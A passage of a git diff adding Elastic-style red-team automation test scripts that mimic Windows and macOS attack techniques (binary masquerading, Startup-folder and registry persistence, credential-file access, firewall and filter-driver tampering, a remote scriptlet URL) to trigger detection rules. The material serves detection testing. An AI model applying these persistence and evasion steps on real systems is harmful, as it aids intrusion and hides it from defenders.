licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="23f0dde3-4803-4976-9a2a-5b5faca50b54", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "Executable File Creation Followed by Immediate Network Connection", + "rule_id": "8d11d741-7a06-41a1-a525-feaaa07ebbae", + }, + { + "rule_name": "Execution via Microsoft DotNet ClickOnce Host", + "rule_id": "8606d5fe-5005-4f48-804a-3ad71a22e39d", + }, + ], + siem=[], + techniques=["T1127", "T1218", "T1036", "T1204", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + rundll32 = "C:\\Users\\Public\\rundll32.exe" + dfsvc = "C:\\Users\\Public\\dfsvc.exe" + common.copy_file(EXE_FILE, dfsvc) + common.copy_file(EXE_FILE, rundll32) + + common.log("Loading mstscax.dll into posh") + common.execute([rundll32, "-c", "echo dfshim1ShOpenVerbApplication"], timeout=10) + common.execute( + [ + dfsvc, + "-c", + "Test-NetConnection", + "-ComputerName", + "portquiz.net", + "-Port", + "443", + ], + timeout=10, + ) + common.remove_files(dfsvc, rundll32) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_msdt_diagcab.py b/rta/exec_msdt_diagcab.py new file mode 100644 index 000000000..60ceb1fd8 --- /dev/null +++ b/rta/exec_msdt_diagcab.py @@ -0,0 +1,43 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="71c81436-242d-4bc8-a195-93d1fdbc774b", + platforms=["windows"], + endpoint=[ + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "Suspicious Troubleshooting Pack Cabinet Execution", + "rule_id": "d18721f0-dce0-4bbc-a56a-06ea511b025e", + }, + ], + siem=[], + techniques=["T1218", "T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + firefox = "C:\\Users\\Public\\firefox.exe" + msdt = "C:\\Users\\Public\\msdt.exe" + common.copy_file(EXE_FILE, firefox) + common.copy_file(EXE_FILE, msdt) + + # Creating a high entropy file, and executing the rename operation + common.execute( + [firefox, "/c", "msdt.exe /c", "echo", "/cab", "C:\\Users\\Public\\"], + timeout=10, + ) + common.remove_files(firefox, msdt) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_scripting_persistence_locations.py b/rta/exec_scripting_persistence_locations.py new file mode 100644 index 000000000..e87bae2e5 --- /dev/null +++ b/rta/exec_scripting_persistence_locations.py @@ -0,0 +1,62 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="537de67d-8ba8-4df8-a965-75ca564d0846", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Script Interpreter Process Writing to Commonly Abused Persistence Locations", + "rule_id": "be42f9fc-bdca-41cd-b125-f223d09eef69", + }, + { + "rule_name": "Startup Persistence via Windows Script Interpreter", + "rule_id": "a85000c8-3eac-413b-8353-079343c2b6f0", + }, + ], + siem=[], + techniques=["T1547", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + + common.log("Dropping executable to Startup Folder using powershell") + common.execute( + [ + powershell, + "-C", + "Copy-Item", + "C:\\Windows\\System32\\cmd.exe", + "'C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\'", + ] + ) + + common.log("Dropping executable to Startup Folder using powershell") + common.execute( + [ + powershell, + "-C", + "Copy-Item", + "C:\\Windows\\System32\\cmd.exe", + "'C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\cmd2.exe'", + ] + ) + + common.remove_files( + "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\cmd2.exe", + "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\cmd.exe", + ) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_scripting_unusual_extension.py b/rta/exec_scripting_unusual_extension.py new file mode 100644 index 000000000..6b1750ae5 --- /dev/null +++ b/rta/exec_scripting_unusual_extension.py @@ -0,0 +1,31 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="04fa2fff-bbcb-4b13-ad10-33225056e34e", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Execution of a Windows Script with Unusual File Extension", + "rule_id": "b76c0a04-b504-4a2f-a0cf-b4175a2f3eea", + } + ], + siem=[], + techniques=["T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + common.log("Executing cscript against .exe") + common.execute(["cmd.exe", "/c", "cscript.exe", "/e:Vbscript", "cmd.exe"], timeout=5, kill=True) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_scripting_via_html_app.py b/rta/exec_scripting_via_html_app.py new file mode 100644 index 000000000..ff8d81026 --- /dev/null +++ b/rta/exec_scripting_via_html_app.py @@ -0,0 +1,42 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="05f1f2a3-430d-4d20-9c0c-767d3b950cbb", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Script Execution via Microsoft HTML Application", + "rule_id": "f0630213-c4c4-4898-9514-746395eb9962", + } + ], + siem=[], + techniques=["T1218"], +) + + +@common.requires_os(metadata.platforms) +def main(): + # Execute Command + # Had a hard time trying to escape the quotes that would be needed to execute a real command using + # RunHTMLApplication, this will just fire the rule and result in a Missing entry error + common.log("Running rundll32 RunHTMLApplication") + common.execute( + [ + "cmd.exe", + "/c", + "rundll32.exe javascript:\\..\\mshtml.dll,RunHTMLApplication", + ], + timeout=5, + kill=True, + ) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_sqlserver_suspicious_child.py b/rta/exec_sqlserver_suspicious_child.py new file mode 100644 index 000000000..de4ca3487 --- /dev/null +++ b/rta/exec_sqlserver_suspicious_child.py @@ -0,0 +1,35 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="0885b643-a199-4453-95e0-be0d1f29aafc", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious Execution from MSSQL Service", "rule_id": "547636af-cad2-4be0-a74e-613c7bb86664"} + ], + siem=[], + techniques=["T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + sqlserver = "C:\\Users\\Public\\sqlserver.exe" + common.copy_file(EXE_FILE, sqlserver) + + # Execute command + common.execute([sqlserver, "/c", powershell], timeout=10, kill=True) + common.remove_file(sqlserver) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_susp_explorer.py b/rta/exec_susp_explorer.py new file mode 100644 index 000000000..8821e3830 --- /dev/null +++ b/rta/exec_susp_explorer.py @@ -0,0 +1,28 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="76050b81-a8da-43d2-8a83-f18b31162b94", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious Windows Explorer Execution", "rule_id": "f8ec5b76-53cf-4989-b451-7d16abec7298"} + ], + siem=[], + techniques=["T1055", "T1036"], +) + + +@common.requires_os(metadata.platforms) +def main(): + explorer = "C:\\Windows\\explorer.exe" + common.execute([explorer, "easyminerRTA"], timeout=1, kill=True) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_susp_msiexec.py b/rta/exec_susp_msiexec.py new file mode 100644 index 000000000..8409a78fd --- /dev/null +++ b/rta/exec_susp_msiexec.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="c9b68802-7d8b-4806-a817-ad50032efc58", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious Execution via MSIEXEC", "rule_id": "9d1d6c77-8acc-478b-8a1f-43da8fa151c7"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + ], + siem=[], + techniques=["T1218", "T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + msiexec = "C:\\Users\\Public\\msiexec.exe" + common.copy_file(EXE_FILE, msiexec) + + # Execute command + common.execute([powershell, "/c", msiexec], timeout=10, kill=True) + common.remove_file(msiexec) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_susp_parent_child.py b/rta/exec_susp_parent_child.py new file mode 100644 index 000000000..b07f4ce44 --- /dev/null +++ b/rta/exec_susp_parent_child.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="b12372b8-0e76-4b3d-9dfc-880664893eb9", + platforms=["windows"], + endpoint=[{"rule_name": "Suspicious Parent-Child Relationship", "rule_id": "18a26e3e-e535-4d23-8ffa-a3cdba56d16e"}], + siem=[], + techniques=["T1055", "T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + posh = "C:\\Users\\Public\\posh.exe" + tiworker = "C:\\Users\\Public\\TiWorker.exe" + common.copy_file(EXE_FILE, posh) + common.copy_file(EXE_FILE, tiworker) + + # Execute command + common.execute([posh, "/c", tiworker], timeout=3, kill=True) + common.remove_files(posh, tiworker) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_svchost_child_schedule.py b/rta/exec_svchost_child_schedule.py new file mode 100644 index 000000000..3409cf1c4 --- /dev/null +++ b/rta/exec_svchost_child_schedule.py @@ -0,0 +1,35 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="e9ee4f0c-b8c6-4471-b132-1edf4a7ca441", + platforms=["windows"], + endpoint=[ + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + {"rule_name": "Potential Masquerading as SVCHOST", "rule_id": "5b00c9ba-9546-47cc-8f9f-1c1a3e95f65c"}, + {"rule_name": "Suspicious Windows Schedule Child Process", "rule_id": "eb04896b-935f-4d12-b2ad-579db82e1f42"}, + ], + siem=[], + techniques=["T1218", "T1036", "T1216", "T1220", "T1053", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + svchost = "C:\\Users\\Public\\svchost.exe" + common.copy_file(EXE_FILE, svchost) + + common.execute([svchost, "/c", "echo", "Schedule", "; mshta"], timeout=1, kill=True) + common.remove_file(svchost) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_unusual_directory.py b/rta/exec_unusual_directory.py new file mode 100644 index 000000000..56824da35 --- /dev/null +++ b/rta/exec_unusual_directory.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="0860c487-e9e0-4f86-9829-5bb98f615046", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + ], + siem=[], + techniques=["T1218", "T1036", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + exe_path = "c:\\windows\\system32\\cscript.exe" + binary = "c:\\Users\\Public\\cscript.exe" + common.copy_file(exe_path, binary) + + # Execute command + common.log("Executing cscript from unusual directory") + common.execute([binary], timeout=5, kill=True) + + common.remove_files(binary) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_winword_susp_parent.py b/rta/exec_winword_susp_parent.py new file mode 100644 index 000000000..8b8c5aca6 --- /dev/null +++ b/rta/exec_winword_susp_parent.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="65c661e6-7a15-45c0-97ad-0635eda560ba", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Suspicious Execution via Microsoft Office Add-Ins", + "rule_id": "9efd977a-6d4a-4cc8-8ab3-355587b0ef69", + } + ], + siem=[], + techniques=["T1137", "T1566"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + winword = "C:\\Users\\Public\\winword.exe" + common.copy_file(EXE_FILE, winword) + + # Execute command + common.execute([powershell, "/c", winword, "/c", "echo", "doc.wll"], timeout=5, kill=True) + common.remove_file(winword) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/execution_node_child_process.py b/rta/execution_node_child_process.py new file mode 100644 index 000000000..142aaf2e1 --- /dev/null +++ b/rta/execution_node_child_process.py @@ -0,0 +1,48 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="20631e46-d3c4-45c0-bfa8-37f6b287db36", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Execution via Electron Child Process Node.js Module", + "rule_id": "1d43f87d-2466-4714-8fef-d52816cc25fb", + } + ], + siem=[ + { + "rule_name": "Execution via Electron Child Process Node.js Module", + "rule_id": "35330ba2-c859-4c98-8b7f-c19159ea0e58", + } + ], + techniques=["T1548", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/node" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Spawning fake node commands to mimic Electon child process.") + common.execute( + [masquerade, "-e", "const { fork } = require('child_process');"], + timeout=10, + kill=True, + ) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/execution_pubprn.py b/rta/execution_pubprn.py new file mode 100644 index 000000000..fc6dbb748 --- /dev/null +++ b/rta/execution_pubprn.py @@ -0,0 +1,47 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="8b5119a5-9f78-492a-8448-ff726b0e0b4f", + platforms=["windows"], + endpoint=[ + {"rule_name": "Scriptlet Proxy Execution via PubPrn", "rule_id": "0d4454a7-c682-4085-995c-300973c5bdea"}, + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + ], + siem=[], + techniques=["T1216", "T1218", "T1036", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +RENAMER = common.get_path("bin", "rcedit-x64.exe") + + +@common.requires_os(metadata.platforms) +def main(): + cscript = "C:\\Users\\Public\\cscript.exe" + rcedit = "C:\\Users\\Public\\rcedit.exe" + + common.copy_file(RENAMER, rcedit) + common.copy_file(EXE_FILE, cscript) + + cmd = "127.0.0.1 script:https://domain.com/folder/file.sct" + # Execute command + common.log("Modifying the OriginalFileName attribute") + common.execute( + [rcedit, cscript, "--set-version-string", "OriginalFileName", "cscript.exe"], + timeout=10, + ) + common.execute([cscript, "/c", "echo", cmd], timeout=5, kill=True) + + common.remove_files(cscript, rcedit) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/extexport_sideload.py b/rta/extexport_sideload.py new file mode 100644 index 000000000..167794278 --- /dev/null +++ b/rta/extexport_sideload.py @@ -0,0 +1,45 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="bbbfc3e3-e1ba-45ad-9d30-cbbe115a0c6c", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution via Internet Explorer Exporter", "rule_id": "e13a65b7-f46f-4c7f-85cf-7e59170071fa"}, + {"rule_name": "Execution via Renamed Signed Binary Proxy", "rule_id": "b0207677-5041-470b-981d-13ab956cf5b4"}, + ], + siem=[], + techniques=["T1218"], +) + +RENAMER = common.get_path("bin", "rcedit-x64.exe") +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + dll = "C:\\Users\\Public\\sqlite3.dll" + posh = "C:\\Users\\Public\\posh.exe" + rcedit = "C:\\Users\\Public\\rcedit.exe" + common.copy_file(RENAMER, dll) + common.copy_file(RENAMER, rcedit) + common.copy_file(EXE_FILE, posh) + + # Execute command + common.log("Modifying the OriginalFileName attribute") + common.execute([rcedit, posh, "--set-version-string", "OriginalFilename", "extexport.exe"]) + + common.log("Executing modified binary with extexport.exe original file name") + common.execute([posh], timeout=10, kill=True) + + common.remove_files(dll, posh, rcedit) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/file_exe_ususual_extension.py b/rta/file_exe_ususual_extension.py new file mode 100644 index 000000000..20502c336 --- /dev/null +++ b/rta/file_exe_ususual_extension.py @@ -0,0 +1,37 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="5370760b-09ea-4258-bcfa-e426726a4777", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution via Renamed Signed Binary Proxy", "rule_id": "b0207677-5041-470b-981d-13ab956cf5b4"}, + {"rule_name": "Executable with Unusual Filename", "rule_id": "d1b6319f-2933-4872-8e67-5728fd09a4a1"}, + { + "rule_name": "Process Execution with Unusual File Extension", + "rule_id": "6daf97b0-8e29-476b-998a-c3d168d98506", + }, + ], + siem=[], + techniques=["T1218", "T1036"], +) + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + unusualext = "C:\\Users\\Public\\powershell.exe.pdf" + common.copy_file(powershell, unusualext) + + common.execute([unusualext], timeout=1, kill=True) + common.remove_file(unusualext) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/file_html_smuggling.py b/rta/file_html_smuggling.py new file mode 100644 index 000000000..739c75059 --- /dev/null +++ b/rta/file_html_smuggling.py @@ -0,0 +1,52 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata +import os + + +metadata = RtaMetadata( + uuid="0debe15f-1c9b-4ff8-9e4c-478647ca45e2", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious File Delivery via HTML Smuggling", "rule_id": "4415ab60-7cff-41dc-b3f0-939bd22c1810"} + ], + siem=[], + techniques=["T1027", "T1566"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + userprofile = os.getenv("USERPROFILE") + partial = f"{userprofile}\\Downloads\\a.partial" + file = f"{userprofile}\\Downloads\\a.iso" + explorer = "C:\\Users\\Public\\explorer.exe" + chrome = "C:\\Users\\Public\\chrome.exe" + common.copy_file(EXE_FILE, explorer) + common.copy_file(EXE_FILE, chrome) + + # Execute command + common.execute( + [ + explorer, + "/c", + chrome, + "--single-argument", + f"{userprofile}\\Downloads\\a.html", + ], + timeout=10, + kill=True, + ) + common.execute([chrome, "/c", f"New-Item -Path {partial} -Type File"], timeout=10) + common.execute([chrome, "/c", f"Rename-Item {partial} {file}"], timeout=10) + common.remove_files(explorer, chrome, file) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/finder_sync_plugin.py b/rta/finder_sync_plugin.py new file mode 100644 index 000000000..f4888adb9 --- /dev/null +++ b/rta/finder_sync_plugin.py @@ -0,0 +1,37 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="214db941-51ba-4867-b9bf-9b22ff07eea8", + platforms=["macos"], + endpoint=[], + siem=[ + {"rule_name": "Finder Sync Plugin Registered and Enabled", "rule_id": "37f638ea-909d-4f94-9248-edd21e4a9906"} + ], + techniques=["T1543"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/pluginkit" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake commands to miic finder sync plugins.") + common.execute([masquerade, "-a"], timeout=1, kill=True) + common.execute([masquerade, "-e", "use", "-i"], timeout=1, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/findstr_pw_search.py b/rta/findstr_pw_search.py index 84b14859f..6cf63001c 100644 --- a/rta/findstr_pw_search.py +++ b/rta/findstr_pw_search.py @@ -9,9 +9,13 @@ # Description: Recursively searches files looking for the string "password". from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata(uuid="332d6bb9-845f-401d-af5a-368f1f10e27a", platforms=["windows"], endpoint=[], siem=[], techniques=[]) + + +@common.requires_os(metadata.platforms) def main(): path = "c:\\rta" common.log("Searching for passwords on %s" % path) diff --git a/rta/firewall_allowlist_modif_unsigned.py b/rta/firewall_allowlist_modif_unsigned.py new file mode 100644 index 000000000..037eb7985 --- /dev/null +++ b/rta/firewall_allowlist_modif_unsigned.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="a0245bfc-d934-4b58-9a7c-a80eca05214b", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Windows Firewall Exception List Modified via Untrusted Process", + "rule_id": "5c01669c-e1cc-4acc-95b6-8b5e4a92c970", + } + ], + siem=[], + techniques=["T1562"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + posh = "C:\\Users\\Public\\posh.exe" + common.copy_file(EXE_FILE, posh) + + cmd = "netsh addallowedprogramENABLE" + # Execute command + common.execute([posh, "/c", cmd], timeout=10) + common.remove_file(posh) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/fltmc_unload.py b/rta/fltmc_unload.py new file mode 100644 index 000000000..db51193d8 --- /dev/null +++ b/rta/fltmc_unload.py @@ -0,0 +1,33 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="54be1902-0608-49df-8053-40020d8a9210", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Potential Defense Evasion via Filter Manager Control Program", + "rule_id": "5b39f347-077c-4a1e-8d3c-6f7789ca09e8", + } + ], + siem=[], + techniques=["T1562"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + # Execute command + common.log("Executing ftlmc unload on non-exisiting driver") + common.execute(["fltmc.exe", "unload", "ElasticNonExisting"], timeout=10) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/git_creds_access.py b/rta/git_creds_access.py new file mode 100644 index 000000000..8ebd6fb53 --- /dev/null +++ b/rta/git_creds_access.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata +import os + + +metadata = RtaMetadata( + uuid="e15ea2ec-c8a9-4203-8d01-d18d1c27fd58", + platforms=["windows"], + endpoint=[ + {"rule_name": "Sensitive File Access - Cloud Credentials", "rule_id": "39f60a36-8c5a-4703-8576-ad3e8c800a0f"} + ], + siem=[], + techniques=["T1552"], +) + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + gitpath = "C:\\Users\\Public\\.config\\git" + + try: + os.makedirs(gitpath) + except Exception: + pass + gitcreds = gitpath + "\\credentials" + cmd = f"echo 'aaaaaa' > {gitcreds}; cat {gitcreds}" + # Execute command + common.execute([powershell, "/c", cmd], timeout=10) + common.remove_file(gitcreds) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/globalflags.py b/rta/globalflags.py index 8bb9d1f22..437257a16 100644 --- a/rta/globalflags.py +++ b/rta/globalflags.py @@ -10,21 +10,31 @@ # process (notepad.exe) is closed. from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="e09d904a-f3bb-4d36-8eb8-8c234812807c", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "6839c821-011d-43bd-bd5b-acff00257226", "rule_name": "Image File Execution Options Injection"}], + techniques=["T1546"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("Setting up persistence using Globalflags") ifeo_subkey = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\netstat.exe" spe_subkey = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\netstat.exe" - with common.temporary_reg(common.HKLM, ifeo_subkey, "GlobalFlag", 512, common.DWORD), \ - common.temporary_reg(common.HKLM, spe_subkey, "ReportingMode", 1, common.DWORD), \ - common.temporary_reg(common.HKLM, spe_subkey, "MonitorProcess", "C:\\Windows\\system32\\whoami.exe"): + with common.temporary_reg(common.HKLM, ifeo_subkey, "GlobalFlag", 512, common.DWORD), common.temporary_reg( + common.HKLM, spe_subkey, "ReportingMode", 1, common.DWORD + ), common.temporary_reg(common.HKLM, spe_subkey, "MonitorProcess", "C:\\Windows\\system32\\whoami.exe"): common.log("Opening and closing netstat") common.execute(["whoami"], shell=True) - common.execute(['taskkill', '/F', '/IM', 'netstat.exe']) + common.execute(["taskkill", "/F", "/IM", "netstat.exe"]) if __name__ == "__main__": diff --git a/rta/grep_software_discovery.py b/rta/grep_software_discovery.py new file mode 100644 index 000000000..472261667 --- /dev/null +++ b/rta/grep_software_discovery.py @@ -0,0 +1,43 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="6ef908be-9ed3-413d-8d4d-94446107eecc", + platforms=["macos", "linux"], + endpoint=[ + { + "rule_name": "Potential Security Software Discovery via Grep", + "rule_id": "13eade2e-73dd-4fab-a511-88258635559d", + } + ], + siem=[{"rule_name": "Security Software Discovery via Grep", "rule_id": "870aecc0-cea4-4110-af3f-e02e9b373655"}], + techniques=["T1518"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/grep" + if common.CURRENT_OS == "linux": + source 